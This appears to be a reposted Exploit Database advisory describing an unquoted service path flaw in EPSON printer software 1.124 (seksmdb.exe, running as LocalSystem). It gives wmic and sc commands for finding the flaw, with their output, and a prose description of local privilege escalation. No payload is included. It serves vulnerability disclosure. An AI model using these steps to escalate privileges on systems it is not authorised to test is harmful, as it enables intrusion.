Exploit – EPSON 1.124 – ‘seksmdb.exe’ Unquoted Service Path

• Exploit Database
• 12 阅读

• 作者： İsmail Önder Kaya
  日期： 2020-10-28
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48965/

• # Exploit Title: EPSON 1.124 - 'seksmdb.exe' Unquoted Service Path
  # Discovery by: İsmail Önder Kaya
  # Discovery Date: 2020-10-27
  # Vendor Homepage: https://www.epson.co.uk/support?productID=10820&os=22#drivers_and_manuals
  # Tested Version: 1.124
  # Vulnerability Type: Unquoted Service Path
  # Tested on OS: Windows 10 Pro x64
  
  # Step to discover Unquoted Service Path:
  
  C:\>wmic service get name, pathname, displayname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i "EPSON_P2B" | findstr /i /v """
  
  SEcnStatutsDatabaseSENADB C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\seksmdb.exe Auto
  
  # Service info:
   
  C:\>sc qc SENADB
  [SC] QueryServiceConfig SUCCESS
  
  SERVICE_NAME: SENADB
  TYPE : 10WIN32_OWN_PROCESS
  START_TYPE : 2 AUTO_START
  ERROR_CONTROL: 0 IGNORE
  BINARY_PATH_NAME : C:\Program Files (x86)\EPSON_P2B\Printer Software\Status Monitor\seksmdb.exe
  LOAD_ORDER_GROUP :
  TAG: 0
  DISPLAY_NAME : SEcnStatutsDatabase
  DEPENDENCIES :
  SERVICE_START_NAME : LocalSystem
   
  
  #Exploit:
   
  A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.